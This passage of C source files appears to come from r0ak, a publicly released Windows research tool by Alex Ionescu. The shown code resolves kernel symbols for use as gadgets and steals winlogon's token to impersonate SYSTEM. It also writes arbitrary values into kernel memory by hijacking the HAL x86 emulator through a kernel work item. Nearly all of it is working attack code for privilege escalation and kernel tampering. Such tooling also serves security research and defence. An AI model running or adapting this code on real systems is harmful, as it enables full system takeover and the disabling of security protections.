26 | (*tSymLoadModuleEx)(
27 | _In_ HANDLE hProcess,
28 | _In_opt_ HANDLE hFile,
29 | _In_opt_ PCSTR ImageName,
30 | _In_opt_ PCSTR ModuleName,
31 | _In_ DWORD64 BaseOfDll,
32 | _In_ DWORD DllSize,
33 | _In_opt_ PMODLOAD_DATA Data,
34 | _In_opt_ DWORD Flags
35 | );
36 |
37 | typedef BOOL
38 | (*tSymInitializeW)(
39 | _In_ HANDLE hProcess,
40 | _In_opt_ PCWSTR UserSearchPath,
41 | _In_ BOOL fInvadeProcess
42 | );
43 |
44 | typedef DWORD
45 | (*tSymSetOptions)(
46 | _In_ DWORD SymOptions
47 | );
48 |
49 | typedef BOOL
50 | (*tSymGetSymFromName64)(
51 | _In_ HANDLE hProcess,
52 | _In_ PCSTR Name,
53 | _Inout_ PIMAGEHLP_SYMBOL64 Symbol
54 | );
55 |
56 | typedef BOOL
57 | (*tSymUnloadModule64)(
58 | _In_ HANDLE hProcess,
59 | _In_ DWORD64 BaseOfDll
60 | );
61 |
62 | PVOID g_XmFunction;
63 | PVOID g_HstiBufferSize;
64 | PVOID g_HstiBufferPointer;
65 | PVOID g_TrampolineFunction;
66 |
67 | tSymLoadModuleEx pSymLoadModuleEx;
68 | tSymInitializeW pSymInitializeW;
69 | tSymSetOptions pSymSetOptions;
70 | tSymUnloadModule64 pSymUnloadModule64;
71 | tSymGetSymFromName64 pSymGetSymFromName64;
72 |
73 | _Success_(return != 0)
74 | PVOID
75 | SymLookup (
76 | _In_ PCHAR ModuleName,
77 | _In_ PCHAR SymbolName
78 | )
79 | {
80 | ULONG_PTR offset;
81 | ULONG_PTR kernelBase;
82 | ULONG_PTR imageBase;
83 | BOOL b;
84 | PIMAGEHLP_SYMBOL64 symbol;
85 | ULONG_PTR realKernelBase;
86 | CHAR symName[MAX_PATH];
87 |
88 | //
89 | // Get the base address of the kernel image in kernel-mode
90 | //
91 | realKernelBase = GetDriverBaseAddr(ModuleName);
92 | if (realKernelBase == 0)
93 | {
94 | printf("[-] Couldn't find base address for %s\n", ModuleName);
95 | return NULL;
96 | }
97 |
98 | //
99 | // Load the kernel image in user-mode
100 | //
101 | kernelBase = (ULONG_PTR)LoadLibraryExA(ModuleName,
102 | NULL,
103 | DONT_RESOLVE_DLL_REFERENCES);
104 | if (kernelBase == 0)
105 | {
106 | printf("[-] Couldn't map %s!\n", ModuleName);
107 | return NULL;
108 | }
109 |
110 | //
111 | // Allocate space for a symbol buffer
112 | //
113 | symbol = HeapAlloc(GetProcessHeap(),
114 | HEAP_ZERO_MEMORY,
115 | sizeof(*symbol) + 2);
116 | if (symbol == NULL)
117 | {
118 | printf("[-] Not enough memory to allocate IMAGEHLP_SYMBOL64\n");
119 | FreeLibrary((HMODULE)kernelBase);
120 | return NULL;
121 | }
122 |
123 | //
124 | // Attach symbols to our module
125 | //
126 | imageBase = pSymLoadModuleEx(GetCurrentProcess(),
127 | NULL,
128 | ModuleName,
129 | ModuleName,
130 | kernelBase,
131 | 0,
132 | NULL,
133 | 0);
134 | if (imageBase != kernelBase)
135 | {
136 | HeapFree(GetProcessHeap(), 0, symbol);
137 | FreeLibrary((HMODULE)kernelBase);
138 | printf("[-] Couldn't load symbols for %s\n", ModuleName);
139 | return NULL;
140 | }
141 |
142 | //
143 | // Build the symbol name
144 | //
145 | strcpy_s(symName, MAX_PATH, ModuleName);
146 | strcat_s(symName, MAX_PATH, "!");
147 | strcat_s(symName, MAX_PATH, SymbolName);
148 |
149 | //
150 | // Look it up
151 | //
152 | symbol->SizeOfStruct = sizeof(*symbol);
153 | symbol->MaxNameLength = 1;
154 | b = pSymGetSymFromName64(GetCurrentProcess(), symName, symbol);
155 | if (b == FALSE)
156 | {
157 | printf("[-] Couldn't find %s symbol\n", symName);
158 | FreeLibrary((HMODULE)kernelBase);
159 | pSymUnloadModule64(GetCurrentProcess(), imageBase);
160 | HeapFree(GetProcessHeap(), 0, symbol);
161 | return NULL;
162 | }
163 |
164 | //
165 | // Compute the offset based on the mapped address
166 | //
167 | offset = symbol->Address - kernelBase;
168 | FreeLibrary((HMODULE)kernelBase);
169 | pSymUnloadModule64(GetCurrentProcess(), imageBase);
170 | HeapFree(GetProcessHeap(), 0, symbol);
171 |
172 | //
173 | // Compute the final location based on the real kernel base
174 | //
175 | return (PVOID)(realKernelBase + offset);
176 | }
177 |
178 | _Success_(return != 0)
179 | BOOL
180 | SymSetup (
181 | VOID
182 | )
183 | {
184 | HMODULE hMod;
185 | HKEY rootKey;
186 | DWORD dwError;
187 | WCHAR rootPath[MAX_PATH];
188 | ULONG pathSize;
189 | ULONG type;
190 | BOOL b;
191 |
192 | //
193 | // Open the Kits key
194 | //
195 | dwError = RegOpenKey(HKEY_LOCAL_MACHINE,
196 | L"Software\\Microsoft\\Windows Kits\\Installed Roots",
197 | &rootKey);
198 | if (dwError != ERROR_SUCCESS)
199 | {
200 | printf("[-] No Windows SDK or WDK installed: %lx\n", dwError);
201 | return FALSE;
202 | }
203 |
204 | //
205 | // Check where a kit was installed
206 | //
207 | pathSize = sizeof(rootPath);
208 | type = REG_SZ;
209 | dwError = RegQueryValueEx(rootKey,
210 | L"KitsRoot10",
211 | NULL,
212 | &type,
213 | (LPBYTE)rootPath,
214 | &pathSize);
215 | if (dwError != ERROR_SUCCESS)
216 | {
217 | printf("[-] Win 10 SDK/WDK not found, falling back to 8.1: %lx\n",
218 | dwError);
219 | dwError = RegQueryValueEx(rootKey,
220 | L"KitsRoot81",
221 | NULL,
222 | &type,
223 | (LPBYTE)rootPath,
224 | &pathSize);
225 | if (dwError != ERROR_SUCCESS)
226 | {
227 | printf("[-] Win 8.1 SDK/WDK not found, falling back to 8: %lx\n",
228 | dwError);
229 | dwError = RegQueryValueEx(rootKey,
230 | L"KitsRoot8",
231 | NULL,
232 | &type,
233 | (LPBYTE)rootPath,
234 | &pathSize);
235 | if (dwError != ERROR_SUCCESS)
236 | {
237 | printf("[-] Win 8 SDK/WDK not found %lx\n", dwError);
238 | return FALSE;
239 | }
240 | }
241 | }
242 |
243 | //
244 | // Now try to load the correct debug help library
245 | //
246 | wcscat_s(rootPath, _ARRAYSIZE(rootPath), L"debuggers\\x64\\dbghelp.dll");
247 | hMod = LoadLibrary(rootPath);
248 | if (hMod == NULL)
249 | {
250 | printf("[-] Failed to load Debugging Tools Dbghelp.dll: %lx\n",
251 | GetLastError());
252 | return FALSE;
253 | }
254 |
255 | //
256 | // Get the APIs that we need
257 | //
258 | pSymSetOptions = (tSymSetOptions)GetProcAddress(hMod,
259 | "SymSetOptions");
260 | if (pSymSetOptions == NULL)
261 | {
262 | printf("[-] Failed to find SymSetOptions\n");
263 | return FALSE;
264 | }
265 | pSymInitializeW = (tSymInitializeW)GetProcAddress(hMod,
266 | "SymInitializeW");
267 | if (pSymInitializeW == NULL)
268 | {
269 | printf("[-] Failed to find SymInitializeW\n");
270 | return FALSE;
271 | }
272 | pSymLoadModuleEx = (tSymLoadModuleEx)GetProcAddress(hMod,
273 | "SymLoadModuleEx");
274 | if (pSymLoadModuleEx == NULL)
275 | {
276 | printf("[-] Failed to find SymLoadModuleEx\n");
277 | return FALSE;
278 | }
279 | pSymGetSymFromName64 = (tSymGetSymFromName64)GetProcAddress(hMod,
280 | "SymGetSymFromName64");
281 | if (pSymGetSymFromName64 == NULL)
282 | {
283 | printf("[-] Failed to find SymGetSymFromName64\n");
284 | return FALSE;
285 | }
286 | pSymUnloadModule64 = (tSymUnloadModule64)GetProcAddress(hMod,
287 | "SymUnloadModule64");
288 | if (pSymUnloadModule64 == NULL)
289 | {
290 | printf("[-] Failed to find SymUnloadModule64\n");
291 | return FALSE;
292 | }
293 |
294 | //
295 | // Initialize the engine
296 | //
297 | pSymSetOptions(SYMOPT_DEFERRED_LOADS);
298 | b = pSymInitializeW(GetCurrentProcess(), NULL, TRUE);
299 | if (b == FALSE)
300 | {
301 | printf("[-] Failed to initialize symbol engine: %lx\n",
302 | GetLastError());
303 | return b;
304 | }
305 |
306 | //
307 | // Initialize our gadgets
308 | //
309 | g_XmFunction = SymLookup("hal.dll", "XmMovOp");
310 | if (g_XmFunction == NULL)
311 | {
312 | printf("[-] Failed to find hal!XmMovOp\n");
313 | return FALSE;
314 | }
315 | g_HstiBufferSize = SymLookup("ntoskrnl.exe", "SepHSTIResultsSize");
316 | if (g_HstiBufferSize == NULL)
317 | {
318 | printf("[-] Failed to find nt!SepHSTIResultsSize\n");
319 | return FALSE;
320 | }
321 | g_HstiBufferPointer = SymLookup("ntoskrnl.exe", "SepHSTIResultsBuffer");
322 | if (g_HstiBufferPointer == NULL)
323 | {
324 | printf("[-] Failed to find nt!SepHSTIResultsBuffer\n");
325 | return FALSE;
326 | }
327 | g_TrampolineFunction = SymLookup("ntoskrnl.exe", "PopFanIrpComplete");
328 | if (g_TrampolineFunction == NULL)
329 | {
330 | printf("[-] Failed to find nt!PopFanIrpComplete\n");
331 | return FALSE;
332 | }
333 | return TRUE;
334 | }
335 |
--------------------------------------------------------------------------------
/r0akutil.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akutil.c
8 |
9 | Abstract:
10 |
11 | This module implements utility functions for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | VOID
26 | DumpHex (
27 | _In_ LPCVOID Data,
28 | _In_ SIZE_T Size
29 | )
30 | {
31 | CHAR ascii[17];
32 | SIZE_T i, j;
33 |
34 | //
35 | // Parse each byte in the stream
36 | //
37 | ascii[16] = ANSI_NULL;
38 | for (i = 0; i < Size; ++i)
39 | {
40 | //
41 | // Every new line, print a TAB
42 | //
43 | if ((i % 16) == 0)
44 | {
45 | printf("\t");
46 | }
47 |
48 | //
49 | // Print the hex representation of the data
50 | //
51 | printf("%02X", ((PUCHAR)Data)[i]);
52 |
53 | //
54 | // And as long as this isn't the middle dash, print a space
55 | //
56 | if ((i + 1) % 16 != 8)
57 | {
58 | printf(" ");
59 | }
60 | else
61 | {
62 | printf("-");
63 | }
64 |
65 | //
66 | // Is this a printable character? If not, use a '.' to represent it
67 | //
68 | if (isprint(((PUCHAR)Data)[i]))
69 | {
70 | ascii[i % 16] = ((PUCHAR)Data)[i];
71 | }
72 | else
73 | {
74 | ascii[i % 16] = '.';
75 | }
76 |
77 | //
78 | // Is this end of the line? If so, print it out
79 | //
80 | if (((i + 1) % 16) == 0)
81 | {
82 | printf(" %s\n", ascii);
83 | }
84 |
85 | if ((i + 1) == Size)
86 | {
87 | //
88 | // We've reached the end of the buffer, keep printing spaces
89 | // until we get to the end of the line
90 | //
91 | ascii[(i + 1) % 16] = ANSI_NULL;
92 | for (j = ((i + 1) % 16); j < 16; j++)
93 | {
94 | printf(" ");
95 | }
96 |
97 | printf(" %s\n", ascii);
98 | }
99 | }
100 | }
101 |
102 | _Success_(return != 0)
103 | ULONG_PTR
104 | GetDriverBaseAddr (
105 | _In_ PCCH BaseName
106 | )
107 | {
108 | LPVOID BaseAddresses[1024];
109 | DWORD cbNeeded;
110 | CHAR FileName[MAX_PATH];
111 |
112 | //
113 | // Enumerate all the device drivers
114 | //
115 | if (!EnumDeviceDrivers(BaseAddresses, sizeof(BaseAddresses), &cbNeeded))
116 | {
117 | printf("[-] Failed to enumerate driver base addresses: %lx\n",
118 | GetLastError());
119 | return 0;
120 | }
121 |
122 | //
123 | // Go through each one
124 | //
125 | for (int i = 0; i < (cbNeeded / sizeof(LPVOID)); i++)
126 | {
127 | //
128 | // Get its name
129 | //
130 | if (!GetDeviceDriverBaseNameA(BaseAddresses[i],
131 | FileName,
132 | sizeof(FileName)))
133 | {
134 | printf("[-] Failed to get driver name: %lx\n",
135 | GetLastError());
136 | return 0;
137 | }
138 |
139 | //
140 | // Compare it
141 | //
142 | if (!_stricmp(FileName, BaseName))
143 | {
144 | return (ULONG_PTR)BaseAddresses[i];
145 | }
146 | }
147 | return 0;
148 | }
149 |
150 | _Success_(return != 0)
151 | BOOL
152 | ElevateToSystem (
153 | VOID
154 | )
155 | {
156 | HANDLE hProcess;
157 | HANDLE hToken, hNewtoken;
158 | HANDLE hSnapshot;
159 | DWORD logonPid;
160 | BOOL b;
161 | PROCESSENTRY32W processEntry;
162 | BOOLEAN old;
163 | NTSTATUS status;
164 |
165 | //
166 | // Create toolhelp snaapshot
167 | //
168 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
169 | if (hSnapshot == NULL)
170 | {
171 | printf("[-] Failed to initialize toolhelp snapshot: %lx\n",
172 | GetLastError());
173 | return FALSE;
174 | }
175 |
176 | //
177 | // Scan process list
178 | //
179 | logonPid = 0;
180 | processEntry.dwSize = sizeof(processEntry);
181 | Process32First(hSnapshot, &processEntry);
182 | do
183 | {
184 | //
185 | // Look for winlogon
186 | //
187 | if (wcsstr(processEntry.szExeFile, L"winlogon.exe") != NULL)
188 | {
189 | //
190 | // Found it
191 | //
192 | logonPid = processEntry.th32ProcessID;
193 | break;
194 | }
195 | } while (Process32Next(hSnapshot, &processEntry) != 0);
196 |
197 | //
198 | // Fail it not found
199 | //
200 | if (logonPid == 0)
201 | {
202 | printf("[-] Couldn't find Winlogon.exe\n");
203 | return FALSE;
204 | }
205 |
206 | //
207 | // Enable debug privileges, so that we may open the processes we need
208 | //
209 | status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old);
210 | if (!NT_SUCCESS(status))
211 | {
212 | printf("[-] Failed to get SE_DEBUG_PRIVILEGE: %lx\n",
213 | status);
214 | return FALSE;
215 | }
216 |
217 | //
218 | // Open handle to it
219 | //
220 | hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, logonPid);
221 | if (hProcess == NULL)
222 | {
223 | printf("[-] Failed to open handle to Winlogon: %lx\n",
224 | GetLastError());
225 | return FALSE;
226 | }
227 |
228 | //
229 | // Open winlogon's token
230 | //
231 | b = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, &hToken);
232 | if (b == 0)
233 | {
234 | printf("[-] Failed to open Winlogon Token: %lx\n",
235 | GetLastError());
236 | return b;
237 | }
238 |
239 | //
240 | // Make an impersonation token copy out of it
241 | //
242 | b = DuplicateToken(hToken, SecurityImpersonation, &hNewtoken);
243 | if (b == 0)
244 | {
245 | printf("[-] Failed to duplicate Winlogon Token: %lx\n",
246 | GetLastError());
247 | return b;
248 | }
249 |
250 | //
251 | // And assign it as our thread token
252 | //
253 | b = SetThreadToken(NULL, hNewtoken);
254 | if (b == 0)
255 | {
256 | printf("[-] Failed to impersonate Winlogon Token: %lx\n",
257 | GetLastError());
258 | return b;
259 | }
260 |
261 | //
262 | // Close the handle to wininit, its token, and our copy
263 | //
264 | CloseHandle(hProcess);
265 | CloseHandle(hToken);
266 | CloseHandle(hNewtoken);
267 | return TRUE;
268 | }
269 |
--------------------------------------------------------------------------------
/r0akwr.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0akwr.c
8 |
9 | Abstract:
10 |
11 | This module implements write capabilities for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | typedef enum _XM_OPERATION_DATATYPE
26 | {
27 | BYTE_DATA = 0,
28 | WORD_DATA = 1,
29 | LONG_DATA = 3
30 | } XM_OPERATION_DATATYPE;
31 |
32 | typedef struct _XM_CONTEXT
33 | {
34 | UCHAR Reserved[0x58];
35 | PVOID DestinationPointer;
36 | PVOID SourcePointer;
37 | ULONG DestinationValue;
38 | ULONG SourceValue;
39 | ULONG CurrentOpcode;
40 | ULONG DataSegment;
41 | ULONG DataType;
42 | } XM_CONTEXT, *PXM_CONTEXT;
43 |
44 | _Success_(return != 0)
45 | BOOL
46 | CmdWriteKernel (
47 | _In_ PKERNEL_EXECUTE KernelExecute,
48 | _In_ PVOID KernelAddress,
49 | _In_ ULONG KernelValue
50 | )
51 | {
52 | PKERNEL_ALLOC kernelAlloc;
53 | PXM_CONTEXT xmContext;
54 | BOOL b;
55 | PETW_DATA etwData;
56 |
57 | //
58 | // Trace operation
59 | //
60 | printf("[+] Writing 0x%.8lX to 0x%.16p\n",
61 | KernelValue, KernelAddress);
62 |
63 | //
64 | // Allocate an XM_CONTEXT to drive the HAL x64 emulator
65 | //
66 | kernelAlloc = NULL;
67 | xmContext = KernelAlloc(&kernelAlloc, sizeof(*xmContext));
68 | if (xmContext == NULL)
69 | {
70 | printf("[-] Failed to allocate memory for XM_CONTEXT\n");
71 | return FALSE;
72 | }
73 |
74 | //
75 | // Fill it out
76 | //
77 | xmContext->SourceValue = KernelValue;
78 | xmContext->DataType = LONG_DATA;
79 | xmContext->DestinationPointer = KernelAddress;
80 |
81 | //
82 | // Make a kernel copy of it
83 | //
84 | xmContext = KernelWrite(kernelAlloc);
85 | if (xmContext == NULL)
86 | {
87 | printf("[-] Failed to find kernel memory for XM_CONTEXT\n");
88 | KernelFree(kernelAlloc);
89 | return FALSE;
90 | }
91 |
92 | //
93 | // Setup the work item
94 | //
95 | b = KernelExecuteSetCallback(KernelExecute,
96 | g_XmFunction,
97 | xmContext->Reserved);
98 | if (b == FALSE)
99 | {
100 | printf("[-] Failed to initialize work item!\n");
101 | KernelFree(kernelAlloc);
102 | return b;
103 | }
104 |
105 | //
106 | // Begin ETW tracing to look for the work item executing
107 | //
108 | etwData = NULL;
109 | b = EtwStartSession(&etwData, g_XmFunction);
110 | if (b == FALSE)
111 | {
112 | printf("[-] Failed to start ETW trace\n");
113 | KernelFree(kernelAlloc);
114 | return b;
115 | }
116 |
117 | //
118 | // Run it!
119 | //
120 | b = KernelExecuteRun(KernelExecute);
121 | if (b == FALSE)
122 | {
123 | printf("[-] Failed to execute kernel function!\n");
124 | }
125 | else
126 | {
127 | //
128 | // Wait for execution to finish
129 | //
130 | b = EtwParseSession(etwData);
131 | if (b == FALSE)
132 | {
133 | //
134 | // We have no idea if execution finished -- block forever
135 | //
136 | printf("[-] Failed to parse ETW trace\n");
137 | Sleep(INFINITE);
138 | return b;
139 | }
140 | }
141 |
142 | //
143 | // Free the allocation since this path either failed or completed execution
144 | //
145 | KernelFree(kernelAlloc);
146 | return b;
147 | }
148 |
--------------------------------------------------------------------------------